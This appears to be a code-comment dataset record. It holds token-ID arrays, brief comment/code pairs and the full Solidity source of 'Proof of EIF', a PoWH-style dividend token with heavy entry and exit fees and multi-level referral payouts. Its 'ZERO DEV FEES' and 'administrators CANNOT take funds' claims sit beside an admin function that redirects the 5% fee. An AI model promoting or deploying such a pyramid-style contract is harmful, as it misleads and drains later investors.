[ 1, 915, 358, 1699, 3981, 358, 7516, 1308, 4232, 39, 3462, 2430, 3271, 358, 333, 6835, 261, 1637, 27228, 911, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 2961, 12235, 654, 39, 3462, 5157, 12, 2867, 1147, 8924, 1887, 16, 1758, 1147, 18241, 16, 2254, 3844, 13, 3903, 1338, 5541, 288, 203, 3639, 2583, 12, 2316, 8924, 1887, 480, 1147, 1887, 747, 2037, 405, 7286, 950, 18, 1289, 12, 739, 5326, 3631, 315, 4515, 7412, 596, 8586, 2430, 4671, 4442, 1769, 203, 3639, 22781, 1345, 12, 2316, 8924, 1887, 2934, 13866, 12, 2316, 18241, 16, 3844, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xc88AA54AA1D06bbEC4f83aDAba4c23969521FE04/sources/contracts/StakeHolderFundTimelock.sol
increase the total number of co-founder active
cofdrActiveSize = cofdrActiveSize + 1;
16,011,660
[ 1, 267, 11908, 326, 2078, 1300, 434, 1825, 17, 74, 465, 765, 2695, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 276, 792, 3069, 3896, 1225, 273, 276, 792, 3069, 3896, 1225, 397, 404, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.25; /* * * _____ __ __ ______ _____ ______ * | __ \ / _| / _| | ____|_ _| ____| * | |__) | __ ___ ___ | |_ ___ | |_ | |__ | | | |__ * | ___/ '__/ _ \ / _ \| _| / _ \| _| | __| | | | __| * | | | | | (_) | (_) | | | (_) | | | |____ _| |_| | * |_| |_| \___/ \___/|_| \___/|_| |______|_____|_| * * Proof of EIF - ZERO DEV FEES! * * [✓] 5% EIF fee - 5% goes to EasyInvestForever (excluding the shared divs below) * [✓] 48%-8% Withdraw fee goes to Token Holders as divs * (fee starts at 48% and reduces down to 8% over 30 day period to discourage early dumps) * [✓] 15% Deposit fee of which at least 5% goes to Token Holders as divs * (up to 10% to any referrers - referrers are sticky for better referral earnings) * [✓] 0% Token transfer fee enabling third party trading * [✓] Multi-level STICKY Referral System - 10% from total purchase * * [✓] 1st level 50% (5% from total purchase) * * [✓] 2nd level 30% (3% from total purchase) * * [✓] 3rd level 20% (2% from total purchase) */ /** * Definition of contract accepting Proof of EIF (EIF) tokens * Games or any other innovative platforms can reuse this contract to support Proof Of EIF (EIF) tokens */ contract AcceptsEIF { ProofofEIF public tokenContract; constructor(address _tokenContract) public { tokenContract = ProofofEIF(_tokenContract); } modifier onlyTokenContract { require(msg.sender == address(tokenContract)); _; } /** * @dev Standard ERC677 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint256 _value, bytes _data) external returns (bool); } contract ProofofEIF { /*================================= = MODIFIERS = =================================*/ modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } modifier notGasbag() { require(tx.gasprice <= 200000000000); // max 200 gwei _; } modifier notContract() { require (msg.sender == tx.origin); _; } /// @dev Limit ambassador mine and prevent deposits before startTime modifier antiEarlyWhale { if (isPremine()) { //max 1ETH purchase premineLimit per ambassador require(ambassadors_[msg.sender] && msg.value <= premineLimit); // stop them purchasing a second time ambassadors_[msg.sender]=false; } else require (isStarted()); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later) // -> a few more things such as add ambassadors, administrators, reset more things // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } // administrator list (see above on what they can do) mapping(address => bool) public administrators; // ambassadors list (promoters who will get the contract started) mapping(address => bool) public ambassadors_; /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); event onReferralUse( address indexed referrer, uint8 indexed level, uint256 ethereumCollected, address indexed customerAddress, uint256 timestamp ); string public name = "Proof of EIF"; string public symbol = "EIF"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 15; /// @dev 48% dividends for token selling uint8 constant internal startExitFee_ = 48; /// @dev 8% dividends for token selling after step uint8 constant internal finalExitFee_ = 8; /// @dev Exit fee falls over period of 30 days uint256 constant internal exitFeeFallDuration_ = 30 days; /// @dev starting uint256 public startTime = 0; // January 1, 1970 12:00:00 mapping(address => uint256) internal bonusBalance_; uint256 public depositCount_; uint8 constant internal fundEIF_ = 5; // 5% goes to first EasyInvestForever contract /// @dev anti-early-whale uint256 public maxEarlyStake = 2.5 ether; uint256 public whaleBalanceLimit = 75 ether; uint256 public premineLimit = 1 ether; uint256 public ambassadorCount = 1; /// @dev PoEIF address address public PoEIF; // Address to send the 5% EasyInvestForever Fee address public giveEthFundAddress = 0x35027a992A3c232Dd7A350bb75004aD8567561B2; uint256 public totalEthFundRecieved; // total ETH EasyInvestForever recieved from this contract uint256 public totalEthFundCollected; // total ETH collected in this contract for EasyInvestForever uint8 constant internal maxReferralFee_ = 10; // 10% from total sum (lev1 - 5%, lev2 - 3%, lev3 - 2%) uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; uint256 public stakingRequirement = 50e18; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; // Special Platform control from scam game contracts on PoEIF platform mapping(address => bool) public canAcceptTokens_; // contracts, which can accept PoEIF tokens mapping(address => address) public stickyRef; /*======================================= = CONSTRUCTOR = =======================================*/ constructor () public { PoEIF = msg.sender; // initially set only contract creator as ambassador and administrator but can be changed later ambassadors_[PoEIF] = true; administrators[PoEIF] = true; } function buy(address _referredBy) notGasbag antiEarlyWhale public payable { purchaseInternal(msg.value, _referredBy); } function() payable notGasbag antiEarlyWhale public { purchaseInternal(msg.value, 0x0); } /** * Sends FUND money to the Easy Invest Forever Contract * Contract address can also be updated by admin if required in the future */ function updateFundAddress(address _newAddress) onlyAdministrator() public { giveEthFundAddress = _newAddress; } function payFund() public { uint256 ethToPay = SafeMath.sub(totalEthFundCollected, totalEthFundRecieved); require(ethToPay > 0); totalEthFundRecieved = SafeMath.add(totalEthFundRecieved, ethToPay); if(!giveEthFundAddress.call.value(ethToPay)()) { revert(); } } /** * Anyone can donate divs using this function to spread some love to all tokenholders without buying tokens */ function donateDivs() payable public { require(msg.value > 10000 wei && tokenSupply_ > 0); uint256 _dividends = msg.value; // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / tokenSupply_); } // @dev Function setting the start time of the system - can also be reset when contract balance is under 10ETH function setStartTime(uint256 _startTime) onlyAdministrator public { if (address(this).balance < 10 ether ) { startTime = _startTime; // If not already in premine, set premine to start again - remove default ambassador afterwards for zero premine if (!isPremine()) {depositCount_ = 0; ambassadorCount = 1; ambassadors_[PoEIF] = true;} } } // @dev Function for find if premine function isPremine() public view returns (bool) { return depositCount_ < ambassadorCount; } // @dev Function for find if started function isStarted() public view returns (bool) { return startTime!=0 && now > startTime; } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundEIF_), 100); // Take out dividends and then _fundPayout uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); // Add ethereum to send to fund totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ambassador phase is over // ( we dont want whale premines ) require(!isPremine() && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); // fire event emit Transfer(_customerAddress, _toAddress, _amountOfTokens); return true; } /** * Transfer token to a specified address and forward the data to recipient * ERC-677 standard * https://github.com/ethereum/EIPs/issues/677 * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transferAndCall(address _to, uint256 _value, bytes _data) external returns (bool) { require(_to != address(0)); require(canAcceptTokens_[_to] == true); // security check that contract approved by PoEIF platform require(transfer(_to, _value)); // do a normal token transfer to the contract if (isContract(_to)) { AcceptsEIF receiver = AcceptsEIF(_to); require(receiver.tokenFallback(msg.sender, _value, _data)); } return true; } /** * Additional check that the game address we are sending tokens to is a contract * assemble the given address bytecode. If bytecode exists then the _addr is a contract. */ function isContract(address _addr) private constant returns (bool is_contract) { // retrieve the size of the code on target address, this needs assembly uint length; assembly { length := extcodesize(_addr) } return length > 0; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * Set new Early limits (only appropriate at start of new game). */ function setEarlyLimits(uint256 _whaleBalanceLimit, uint256 _maxEarlyStake, uint256 _premineLimit) onlyAdministrator() public { whaleBalanceLimit = _whaleBalanceLimit; maxEarlyStake = _maxEarlyStake; premineLimit = _premineLimit; } /** * Add or remove game contract, which can accept PoEIF (EIF) tokens */ function setCanAcceptTokens(address _address, bool _value) onlyAdministrator() public { canAcceptTokens_[_address] = _value; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /** * @dev add an address to the ambassadors_ list (this can be done anytime until the premine finishes) * @param addr address * @return true if the address was added to the list, false if the address was already in the list */ function addAmbassador(address addr) onlyAdministrator public returns(bool success) { if (!ambassadors_[addr] && isPremine()) { ambassadors_[addr] = true; ambassadorCount += 1; success = true; } } /** * @dev remove an address from the ambassadors_ list * (only do this if they take too long to buy premine - they are removed automatically during premine purchase) * @param addr address * @return true if the address was removed from the list, * false if the address wasn't in the list in the first place */ function removeAmbassador(address addr) onlyAdministrator public returns(bool success) { if (ambassadors_[addr]) { ambassadors_[addr] = false; ambassadorCount -= 1; success = true; } } /** * @dev add an address to the administrators list * @param addr address * @return true if the address was added to the list, false if the address was already in the list */ function addAdministrator(address addr) onlyAdministrator public returns(bool success) { if (!administrators[addr]) { administrators[addr] = true; success = true; } } /** * @dev remove an address from the administrators list * @param addr address * @return true if the address was removed from the list, * false if the address wasn't in the list in the first place or not called by original administrator */ function removeAdministrator(address addr) onlyAdministrator public returns(bool success) { if (administrators[addr] && msg.sender==PoEIF) { administrators[addr] = false; success = true; } } function totalEthereumBalance() public view returns (uint256) { return address(this).balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundEIF_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundEIF_), 100); uint256 _taxedEthereum = SafeMath.add(SafeMath.add(_ethereum, _dividends), _fundPayout); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereumToSpend, fundEIF_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereumToSpend, _dividends), _fundPayout); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundEIF_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); return _taxedEthereum; } function exitFee() public view returns (uint8) { if (startTime==0 || now < startTime){ return startExitFee_; } uint256 secondsPassed = now - startTime; if (secondsPassed >= exitFeeFallDuration_) { return finalExitFee_; } uint8 totalChange = startExitFee_ - finalExitFee_; uint8 currentChange = uint8(totalChange * secondsPassed / exitFeeFallDuration_); uint8 currentFee = startExitFee_- currentChange; return currentFee; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ // Make sure we will send back excess if user sends more than early limits function purchaseInternal(uint256 _incomingEthereum, address _referredBy) internal notContract() // no contracts allowed returns(uint256) { uint256 purchaseEthereum = _incomingEthereum; uint256 excess; if(purchaseEthereum > maxEarlyStake ) { // check if the transaction is over early limit of 2.5 ether if (SafeMath.sub(address(this).balance, purchaseEthereum) <= whaleBalanceLimit) { // if so check the contract is less than 75 ether whaleBalanceLimit purchaseEthereum = maxEarlyStake; excess = SafeMath.sub(_incomingEthereum, purchaseEthereum); } } if (excess > 0) { msg.sender.transfer(excess); } purchaseTokens(purchaseEthereum, _referredBy); } function handleReferrals(address _referredBy, uint _referralBonus, uint _undividedDividends) internal returns (uint){ uint _dividends = _undividedDividends; address _level1Referrer = stickyRef[msg.sender]; if (_level1Referrer == address(0x0)){ _level1Referrer = _referredBy; } // is the user referred by a masternode? if( // is this a referred purchase? _level1Referrer != 0x0000000000000000000000000000000000000000 && // no cheating! _level1Referrer != msg.sender && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_level1Referrer] >= stakingRequirement ){ // wealth redistribution if (stickyRef[msg.sender] == address(0x0)){ stickyRef[msg.sender] = _level1Referrer; } // level 1 refs - 50% uint256 ethereumCollected = _referralBonus/2; referralBalance_[_level1Referrer] = SafeMath.add(referralBalance_[_level1Referrer], ethereumCollected); _dividends = SafeMath.sub(_dividends, ethereumCollected); emit onReferralUse(_level1Referrer, 1, ethereumCollected, msg.sender, now); address _level2Referrer = stickyRef[_level1Referrer]; if (_level2Referrer != address(0x0) && tokenBalanceLedger_[_level2Referrer] >= stakingRequirement){ // level 2 refs - 30% ethereumCollected = (_referralBonus*3)/10; referralBalance_[_level2Referrer] = SafeMath.add(referralBalance_[_level2Referrer], ethereumCollected); _dividends = SafeMath.sub(_dividends, ethereumCollected); emit onReferralUse(_level2Referrer, 2, ethereumCollected, _level1Referrer, now); address _level3Referrer = stickyRef[_level2Referrer]; if (_level3Referrer != address(0x0) && tokenBalanceLedger_[_level3Referrer] >= stakingRequirement){ //level 3 refs - 20% ethereumCollected = (_referralBonus*2)/10; referralBalance_[_level3Referrer] = SafeMath.add(referralBalance_[_level3Referrer], ethereumCollected); _dividends = SafeMath.sub(_dividends, ethereumCollected); emit onReferralUse(_level3Referrer, 3, ethereumCollected, _level2Referrer, now); } } } return _dividends; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_incomingEthereum, maxReferralFee_), 100); uint256 _dividends = handleReferrals(_referredBy, _referralBonus, _undividedDividends); uint256 _fundPayout = SafeMath.div(SafeMath.mul(_incomingEthereum, fundEIF_), 100); uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_incomingEthereum, _undividedDividends), _fundPayout); totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); // Keep track depositCount_++; return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
max 1ETH purchase premineLimit per ambassador
if (isPremine()) {
5,382,569
[ 1, 1896, 404, 1584, 44, 23701, 675, 3081, 3039, 1534, 13232, 428, 23671, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
